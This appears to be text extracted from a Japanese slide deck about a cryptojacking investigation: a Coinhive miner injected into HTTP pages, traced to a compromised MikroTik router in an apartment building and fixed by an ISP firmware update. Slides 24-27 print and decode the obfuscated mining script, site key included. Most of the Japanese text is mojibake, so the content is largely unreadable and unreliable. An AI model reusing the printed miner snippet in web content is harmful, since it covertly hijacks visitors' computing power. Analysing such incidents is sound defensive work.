Slide 1

Slide 1 text

Ϛϧ΢ΣΞΛۦআͯ͠ੈքฏ࿨ʹ ߩݙͨ͠࿩

Slide 2

Slide 2 text

ࣗݾ঺հ ➤ খ໺ɹً໵ !UFSVY ➤ ৘ใཧ޻೥ ➤ ௿ϨΠϠ΍ηΩϡϦςΟपΓ ➤ XFC΋গ͠ ➤ ωοτϫʔΫɺΠϯϑϥपΓ΋গ͠ ➤ ը૾ॲཧɺؔ਺ܕɺݴޠॲཧܥΛ΍Ζ͏ͱ͍ͯ͠Δ ➤ 1)1 1ZUIPO +BWBͳͲ

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

No content

Slide 6

Slide 6 text

No content

Slide 7

Slide 7 text

No content

Slide 8

Slide 8 text

ͳΜ͔Ͱ͖ͯͨWWW

Slide 9

Slide 9 text

Miner-T coinhive.com

Slide 10

Slide 10 text

https://doocts.com/3403 ΑΓ

Slide 11

Slide 11 text

Α͋͘Δ΍͔ͭɾɾɾ

Slide 12

Slide 12 text

ྲྀੴʹ͜ͷαΠτͰ͸ग़ͳ͍ͩΖ͏ http://www.itmedia.co.jp/news/ ΑΓ

Slide 13

Slide 13 text

No content

Slide 14

Slide 14 text

No content

Slide 15

Slide 15 text

͜Ε͸ɾɾɾ ➤ྲྀੴʹ*5NFEJB͕DPJOIJWFΛ࢓ࠐΉͱ͸ ߟ͑ΒΕͳ͍ ➤ͦͷଞDPJOIJWFͱ͸ແԑͦ͏ͳαΠτͰ ΋Ξϥʔτ͕ग़ͨ ➤Ϛϧ΢ΣΞʹײછ͔ͨ͠ɾɾɾʁ

Slide 16

Slide 16 text

ϚΠχϯάϚϧ΢ΣΞ ➤ ೥͝Ζ͔Βٸܹʹ਺Λ৳͹͍ͯ͠Δ https://internet.watch.impress.co.jp/docs/news/1107434.html ΑΓ

Slide 17

Slide 17 text

ௐࠪ։࢝ ➤ ͱΓ͋͑ͣ.BD͸์ஔͯ͠ɺ༧උͷ 8JOEPXTϚγϯʢ෺ཧతʹҟͳΔϚγϯʣ Ͱௐࠪ͠Α͏ ➤ 8JOEPXTͰ͍Ζ͍Ζௐ΂ͯͨΒɾɾɾ

Slide 18

Slide 18 text

No content

Slide 19

Slide 19 text

͑ɺͳΜͰ ➤ ωοτϫʔΫӽ͠ʹײછ͔ͨ͠ɾɾʁ ➤ όΧͳɾɾૣ͗͢Δɾɾɾ ➤ ͓·͚ʹXFCγʔϧυ͸ൃಈ͠ͳ͔ͬͨ

Slide 20

Slide 20 text

࢓ํͳ͍ͷͰଓߦ

Slide 21

Slide 21 text

HTML೷͍ͯΈͨ

Slide 22

Slide 22 text

https://hufurima.com/ ΑΓ

Slide 23

Slide 23 text

͍ͭ͜ͷHTMLΛ औಘ͠Α͏

Slide 24

Slide 24 text

औಘͨ͠ Loading body{font-family: Verdana, Geneva, sans-serif;font-size: 11px;}img{border: none}img:hover{opacity: 0.8;}h1{font-size: 1.7em;display: inline;margin-bottom: 10px;}fieldset{margin-top: 20px;background: #fff;padding: 20px;border: 1px solid #c1c1c1;}#container{width: 70%;margin: 10% auto;}#box{background-color: #fff; -moz-border-radius: 7px; -webkit-border-radius: 7px; border: 1px solid #c1c1c1; padding: 30px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f3f3f3'); /* for IE */background: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3)); /* for webkit browsers */background: -moz-linear-gradient(top, #fff, #f3f3f3); /* for firefox 3.6+ */}.floater{float: left; margin-right: 10px;}.floater label{display: block; text-align: center;}#login{margin: 2em 0 4em 0;}#login h2{font-weight: normal; font-size: 14px; margin: 0 0 0.5em 1em;}#login td{padding: 0 4px 0 0;}#login td.label{text-align: right;}#login td.toolbar{padding: 0 0 0 1em; vertical-align: top;}#login ul.toolbar{margin: 0;}#login input{margin: 2px; padding: 2px; border: 1px solid #888; box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -webkit-box-shadow: 1px 1px 3px rgba(0,0,0,0.3); -moz-box-shadow: 1px 1px 3px rgba(0,0,0,0.3);}#error{display:none; color:red; padding: 1em 0 0 0;}ul.toolbar{font-size: 11px; text-align: left; list-style-type: none; padding: 0; margin: 2px 0 4px 2px;}ul.toolbar li{float: left; vertical-align: middle;}ul.toolbar a{float: none; display: block; margin: 2px 4px 2px 0; padding: 5px; background: #ddd; border: 1px solid #888; border-radius: 3px; -moz-border-radius: 3px; box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset, /* top gradient */1px 1px 2px rgba(0,0,0,0.2); /* shadow */ -webkit-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); -moz-box-shadow: 1px 1px 2px rgba(255,255,255,0.8) inset,0 10px 10px -5px rgba(255,255,255,0.5) inset,1px 1px 2px rgba(0,0,0,0.2); color: #000; text-decoration: none; text-align: center; white-space: nowrap; cursor: inherit; min-width: 4em; -webkit-transition: background 0.2s linear, box-shadow 0.2s ease-out; -moz-transition: background 0.2s linear, box-shadow 0.2s ease-out;}ul.toolbar a:hover{background: #eee;}ul.toolbar a:active{background: #aaa; box-shadow: 1px 1px 2px #999 inset; -webkit-box-shadow: 1px 1px 2px #999 inset; -moz-box- shadow: 1px 1px 2px #999 inset;}

Loading

var _0x7e51=["\x7A\x38\x70\x6A\x37\x4C\x69\x64\x6E\x74\x38\x6D\x58\x50\x6E\x66\x65\x65\x44\x30\x42\x4E\x52\x77\x55\x44\x49\x36\x79\x49\x63\x58","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x7e51[0],{throttle:0.2});miner[_0x7e51[1]]() ➤ CSS GIF(Base64)

Slide 25

Slide 25 text

େࣄͳͱ͜Ζ var _0x7e51=["\x7A\x38\x70\x6A\x37\x4C\x69\x64\x 6E\x74\x38\x6D\x58\x50\x6E\x66\x65\x65\x44\x 30\x42\x4E\x52\x77\x55\x44\x49\x36\x79\x49\x 63\x58","\x73\x74\x61\x72\x74"];var miner= new CoinHive.Anonymous(_0x7e51[0],{throttle: 0.2});miner[_0x7e51[1]]() ➤

Slide 26

Slide 26 text

ASCIIίʔυ ➤ ΞϧϑΝϕοτจࣈʹ਺஋ΛରԠͤͨ͞΋ͷ ➤ NBOBTDJJ

Slide 27

Slide 27 text

16ਐ਺ΛΞϧϑΝϕοτʹม׵ var _0x7e51 = ['z8pj7Lidnt8mXPnfeeD0BNRwUDI6yIcX','start']; var miner= new CoinHive.Anonymous( _0x7e51[0],{throttle:0.2} ); miner[_0x7e51[1]]() ➤ coinhiveΛಡΈࠐΈ ม਺ఆٛ'_0x7e51' miner["start"]()

Slide 28

Slide 28 text

൜ਓ z8pj7Lidnt8mXPnfeeD0BNRwUDI6yIcX

Slide 29

Slide 29 text

ͦͷ΄͔ʹඃ֐͸ɾɾɾ ➤ 8JOػΛҰԠBWBTU ΢ΠϧεରࡦιϑτʣͷϑϧεΩϟ ϯʹ͔͚ͨ ➤ Ωϟογϡ͕อଘ͞Ε͍ͯͯͦΕ͕ݕग़͞Ε͕ͨଞʹ ѱ͍͜ͱ͸͞Εͯͳͦ͞͏

Slide 30

Slide 30 text

̎ͭͷઆ

Slide 31

Slide 31 text

1ɿࣗ෼ͷϚγϯ͕Ϛϧ΢ΣΞʹײછ ͍ͯ͠Δઆ

Slide 32

Slide 32 text

➤ XFCαΠτʹΞΫηε͢ΔͱɺDPJOIJWFΛಡΈࠐΉ Α͏ͳIUNMΛฦ͢Α͏ͳϚϧ΢ΣΞ ➤ XFCϖʔδ΁ͷΞΫηεΛ೧͡ۂ͛ΔΑ͏ͳϚϧ΢Σ Ξ͸࣮ࡏ͢Δ ➤ ϒϥ΢βϋΠδϟοΧʔ ➤ %/4ΩϟογϡϙΠζχϯά

Slide 33

Slide 33 text

2ɿωοτϫʔΫ্ʹѱౕ͍͕͍Δઆ

Slide 34

Slide 34 text

➤ தؒऀ߈ܸʢ.BO*O5IF.JEEMF ͳͲ ➤ ϚγϯͱXFCαʔόʔͷؒͰ଴ͪड͚ͯ௨৴Λ ๣डɺվ᜵͢Δɻ ➤ ޙͰৄ͘͠

Slide 35

Slide 35 text

આݕূελʔτ

Slide 36

Slide 36 text

MAC, WIN, IOSͰݱ৅͕֬ೝ͞Εͨ ➤ ྲྀੴʹಉछͷϚϧ΢ΣΞ͕͜ΕΒશͯͷ04ʹײછ ͨ͠ͱ͸ߟ͑ʹ͍͘ʢಛʹJ04 ➤ Ϛγϯͦͷ΋ͷ͕ײછ͍ͯ͠ΔΘ͚Ͱ͸ͳͦ͞͏ ωοτϫʔΫӽ͠ʹײછ͢Δ΋ͷ΋͋Δ͕ɾɾɾʣ ଟ෼આᶄ͕ਖ਼͍͠ʂʂʂ

Slide 37

Slide 37 text

༧૝ 2ɿωοτϫʔΫ্ʹѱౕ͍͕͍Δઆ

Slide 38

Slide 38 text

XFCαʔόʔ ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ Πϯλʔωοτ

Slide 39

Slide 39 text

XFCαʔόʔ ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ Πϯλʔωοτ

Slide 40

Slide 40 text

ࣗ୐ແઢLANϧʔλΛऔΓআ͘ ➤ 1$ʹܨ͍ͩ-"/έʔϒϧΛนʹੜ͑ͯΔϙʔτʹ ௚઀ͯ͞͠΋࣏Βͳ͍ ͜͜ʹ௚઀ Ϳͬ͢͞ LAN

Slide 41

Slide 41 text

XFCαʔόʔ ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ Πϯλʔωοτ

Slide 42

Slide 42 text

ͦͷଞ ➤ IUUQͰXFCϖʔδʹΞΫηεͨ࣌͠ͷΈൃੜɻ IUUQTͰ͸ੜ͡ͳ͍ ➤ ຖճൃੜ͢ΔΘ͚Ͱ͸ͳ͍ɻdΞΫηεʹճ ͘Β͍ ➤ ಛ௃తͳจࣈྻ ม਺໊ͷ@YF΍LFZ ͸ຖճݻ ఆɻHHͬͯ΋ώοτͳ͠ɻ

Slide 43

Slide 43 text

HTTP ➤ )ZQFS5FYU5SBOTGFS1SPUPDPM ➤ ϋΠύʔͳςΩετʢIUNMʣΛτϥϯεϑΝʔ ͢Δϓϩτίϧ ➤ ˢҙ༁ɿIUNMΛૹड৴͢ΔͨΊʹར༻͞ΕΔ௨ ৴ํࣜͷ͜ͱ

Slide 44

Slide 44 text

HTTPS ➤ )5514FDVSF ➤ ૹͬͨΓड͚औͬͨΓ͢Δ಺༰͕҉߸Խ͞ΕΔɻ ➤ ௨৴૬खͷͳΓ͢·͠Λݕ஌Ͱ͖Δɻ ➤ ωοτϫʔΫͷ్தͰ಺༰͕վ᜵͞Εͯ΋ݕ஌ Ͱ͖Δ ͳΓ͢·͠orվ᜵ʁ

Slide 45

Slide 45 text

XFCαʔόʔ ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ Πϯλʔωοτ ѱ͞Λ͍ͯ͠Δʁ

Slide 46

Slide 46 text

TRACEROUTE ➤ ௨Δܦ࿏ʢϧʔλʣͷ*1ΞυϨεΛݟΔ͜ͱ͕Ͱ͖Δ

Slide 47

Slide 47 text

ύέοτΛ೷͘

Slide 48

Slide 48 text

ύέοτ؂ࢹ͸༻ྔɺ༻๏Λकͬͯద੾ʹ ➤ ௨ ৴ ͠ ͯ Δ ৘ ใ ʢ * 1 Ξ υ Ϩ ε ɺ ϙ ʔ τ ൪ ߸ ɺɹ ɹ ɹ ɹ ɹ ɹ ૹड৴σʔλʢ ʣͳͲ͕Θ͔Δ ➤ 8JSFTIBSLͱ͍͏πʔϧΛ࢖͏

Slide 49

Slide 49 text

ਖ਼ৗܥϨεϙϯεʢHTTPύέοτʣ

Slide 50

Slide 50 text

ҟৗܥϨεϙϯεʢHTTPύέοτʣ

Slide 51

Slide 51 text

ҟৗܥͷHTTPϔομ͚ͩʹ͜Μͳ΋ͷ͕ɾɾɾ

Slide 52

Slide 52 text

MIKROTIKͬͯͳΜͧ ➤ ϧʔλʔͷϝʔΧʔͩͬͨɻ ➤ 3PVUFSCPBSEͱ͍͏੡඼͕ओྗ ➤ ϥτϏΞʹຊ͕ࣾ͋Δͦ͏ͳɻͲ͜΍ͶΜɻ

Slide 53

Slide 53 text

No content

Slide 54

Slide 54 text

ग़ΔΘग़ΔΘɾɾɾ ӈԼ:https://www.symantec.com/blogs/threat-intelligence/hacked-mikrotik-router ࠨ্:https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/ Cryptojack

Slide 55

Slide 55 text

ը૾:https://blog.skyboxsecurity.com/mikrotik-coinhive-cryptojacking/ Mikrotikϧʔλʹ੬ऑੑ ͕ൃݟ͞Εͨ ௨৴ʹϚΠχϯάεΫ ϦϓτΛࣹ͠ࠐΉΑ͏ ʹϧʔλΛઃఆ͢ΔϚ ϧ΢ΣΞ मਖ਼ύονͰ࣏ ΔΑ

Slide 56

Slide 56 text

A cryptojacking campaign targets MikroTik devices is observed in Japan

Slide 57

Slide 57 text

൜ਓͷKeyʂʂʂ _0x7e51:ྫͷม਺໊

Slide 58

Slide 58 text

0x7e51ͱCoinHiveΛؚΉจࣈྻΛฦ͢ϧʔλΛݕࡧ ؔ܎ͳ͔ͬͨɾɾɾ

Slide 59

Slide 59 text

XFCαʔόʔ ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ Πϯλʔωοτ

Slide 60

Slide 60 text

➤ Πϯλʔωοτଆͷػث͸େྔͷτϥϑΟο Ϋʢ௨৴ʣΛࡹ͘ͷͰɺ΋͠ײછ͍ͯ͠Δͳ Βࣗ෼Ҏ֎ʹ΋ใࠂऀ͕͍Δ͸ͣ ➤ ͱΓ͋͑ͣϚϯγϣϯͷڞ༻ϧʔλΛٙͬͯ ΈΔ

Slide 61

Slide 61 text

XFCαʔόʔ ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ Πϯλʔωοτ

Slide 62

Slide 62 text

ͰɺͲ͏΍ͬͯௐࠪ͢Δͷ͞ ➤ ࣗ෼͕؅ཧ͢ΔϧʔλͰ͸ͳ͍ͨΊɺແҋͳௐࠪ͸ ๏ʹ৮ΕΔՄೳੑ͕͋Δ ➤ ϙʔτεΩϟϯͱ͔ ➤ ͱΓ͋͑ͣɺΠϯλʔωοτࣄۀऀʢ*41 ʹ௨ใͨ͠ɻ

Slide 63

Slide 63 text

ISPͱͷձ࿩ ๻ʮ͔͔͔͔͘͘͠͡ͳͷͰϚϯγϣϯڞ༻ϧʔλ ʹҟৗ͕ͳ͍͔ௐ΂͍ͯͩ͘͞ʯ *41ʮো֐͸֬ೝͰ͖·ͤΜͰͨ͠ɻҰԠϝʔΧʔ ʹ໰͍߹ΘͤͯϑΝʔϜ΢ΣΞΞοϓσʔτ͠ͱ͖ ·ͨ͠ʯ

Slide 64

Slide 64 text

࣏ͬͨʂʂʂ

Slide 65

Slide 65 text

͏Ε͍͠ʂʂʂ͔͠͠ɾɾɾ ➤ ো֐͕֬ೝͰ͖ͳ͔ͬͨɾɾɾʁ ➤ Ͱ΋ɺϑΝʔϜ΢ΣΞΞοϓσʔτʢमਖ਼ύονʣ Ͱ࣏ͬͨͱ͍͏͜ͱ͸ɺ΍ͬͺΓϧʔλ͕ײછͯ͠ ͍ͨΜ͡Όͳ͍ʁ

Slide 66

Slide 66 text

ؾʹͳΔͱ͜Ζ ➤ Ϛϯγϣϯϧʔλͷϕϯμʔ͕.JLSP5JLͷ΋ͷͩͬ ͨΒɺϚϯγϣϯϧʔλ͕ʮΫϩʯͱ൑அ͍͍ͯͩ͠ Ζ͏ ➤ *41͸ηΩϡϦςΟ্ͷཧ༝͕Ͳ͏ͱ͔Ͱڭ͑ͯ͘Ε ͳ͔ͬͨ ➤ ͳΒࣗྗͰௐ΂Δ͔͠ͳ͍

Slide 67

Slide 67 text

ͪΐͬͱ͚ͩωοτϫʔΫ ͓ษڧλΠϜ

Slide 68

Slide 68 text

IPΞυϨεʁ ➤ ௨৴ઌΛಛఆ͢ΔͨΊͷΞυϨεɻ ➤ Έ͍ͨͳײ͡ɻ ➤ ͋Δ஋ͷάϩʔόϧΞυϨε͸ੈքʹͨͩ ͚ͭͩ ➤ Ϣʔβʔ͕ࣗ෼ͰׂΓ౰ͯΔɺଞͷػث͔Β ׂΓ౰ͯͯ΋Β͏ɻ

Slide 69

Slide 69 text

MACΞυϨεʁ ➤ ௨৴ઌΛಛఆ͢ΔͨΊͷΞυϨε ➤ GGECΈ͍ͨͳײ͡ ➤ લ൒CJU͸ϕϯμʔݻ༗ͷ஋ɻ ➤ ͋Δ."$ΞυϨεΛ΋ͭσόΠε͸ੈքʹͭ ͚ͩɻ ➤ جຊతʹ੡଄࣌ʹׂΓ౰ͯΒΕͯɺมߋ͢Δ͜ ͱ͸ͳ͍ɻ

Slide 70

Slide 70 text

ARP ➤ ͋ʔ΀ ➤ ʮ͜ͷ*1ΞυϨεΛ͍࣋ͬͯΔਓͷ.BDΞυϨε ͸ʁʯͱपғͷػثʹฉ͍ͯʮࢲͰ͢Αɻ͜Ε͕ࢲ ͷ.BDΞυϨεͰ͢ɻʯͱճ౴ΛಘΔϓϩτίϧ ➤ ಉҰ-"/্ͷσόΠεʹ͔͠໰͍߹ΘͤͰ͖ͳ͍

Slide 71

Slide 71 text

΍Γ͍ͨ͜ͱ੔ཧ ➤ Ϛϯγϣϯϧʔλͷϕϯμʔ͕஌Γ͍ͨ ➤ ˢ.BDΞυϨεͷલ൒CJUΛHHΕ͹Θ͔Δ ➤ ˢ"31ʹΑΓ*1ΞυϨε͔Β.BDΞυϨεΛ໰ ͍߹ΘͤͰ͖Δ ➤ ˢܦ࿏্ͷ*1ΞυϨε͸USBDFSPVUFͰ஌Δ͜ͱ ͕Ͱ͖Δʂ

Slide 72

Slide 72 text

ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ ߸ࣨ ߸ࣨ ߸ࣨ ɾɾɾ-"/

Slide 73

Slide 73 text

ࣗ୐ແઢLANϧʔλΛऔΓআ͘ ➤ 1$ͱܨ͍ͩ-"/έʔϒϧนʹੜ͑ͯΔϙʔτʹ௚઀͢͞ ͜͜ʹ௚઀ Ϳͬ͢͞ LAN

Slide 74

Slide 74 text

ϚϯγϣϯωοτϫʔΫ ࣗ୐ωοτϫʔΫ ߸ࣨ ߸ࣨ ߸ࣨ ɾɾɾ-"/

Slide 75

Slide 75 text

ϚϯγϣϯωοτϫʔΫ ߸ࣨ ߸ࣨ ߸ࣨ ɾɾɾ-"/

Slide 76

Slide 76 text

$ tracert google.com ࠷΋͍ۙϧʔλͷIPΞυϨε

Slide 77

Slide 77 text

ϚϯγϣϯϧʔλͷMACΞυϨεʂʂ

Slide 78

Slide 78 text

No content

Slide 79

Slide 79 text

No content

Slide 80

Slide 80 text

ࣄ࣮Λྻڍͯ͠ΈΑ͏ ➤ Ϛϯγϣϯϧʔλ͸.JLSPUJL੡ͷ΋ͷͩͬͨɻ ➤ .JLSPUJL੡ϧʔλ͸ϑΝʔϜ΢ΣΞΛΞοϓσʔτ ͠ͳ͍ͱɺDSZQUPKBDLʹײછ͢ΔՄೳੑ͕͋Δɻ ➤ *41͕ϑΝʔϜ΢ΣΞͷΞοϓσʔτΛߦ͏ͱো֐ ͕ফ͑ͨ Ϛϯγϣϯͷϧʔλ͕ Cryptjackʹײછ͍ͯͨ͠ʁ

Slide 81

Slide 81 text

·ͱΊ ➤ ϧʔλʔͷϑΝʔϜ΢ΣΞ͸͔ͬ͠ΓΞοϓσʔτ ͓ͯ͜͠͏ ➤ $SZQUPKBDL͡Όͳͯ͘ɺ΋ͬͱڟѱͳϚϧ΢ΣΞͩͬ ͨΒɾɾɾʁ ➤ ੈքฏ࿨ʹߩݙͰ͖ͨʢ*1"ʹ΋௨ใͨ͠ʣ ➤ ηΩϡϦςΟʹڵຯ࣋ͬͯ͘ΕͨΒ͏Ε͍͠Ͱ͢ɻ